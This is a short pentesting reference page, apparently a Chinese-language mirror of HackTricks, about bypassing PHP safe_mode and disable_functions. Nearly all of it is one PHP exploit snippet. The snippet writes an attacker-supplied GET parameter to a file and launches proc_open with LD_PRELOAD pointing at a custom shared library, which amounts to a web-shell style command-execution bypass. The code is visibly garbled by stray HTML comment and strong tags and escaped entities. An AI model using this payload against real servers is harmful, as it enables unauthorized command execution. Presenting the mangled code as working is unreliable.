> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md).

# disable\_functions bypass - PHP safe\_mode bypass via proc\_open() and custom environment Exploit

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## 通过proc\_open()和自定义环境利用绕过PHP safe\_mode

来源：<http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>

```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
2 =&gt; array("file", $path."/errors.txt", "a" )
); $cwd = '.'; $env = array('LD_PRELOAD' =&gt; $path."/a.so"); $process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;} fclose($a);
?&gt;;
</strong>
```

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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

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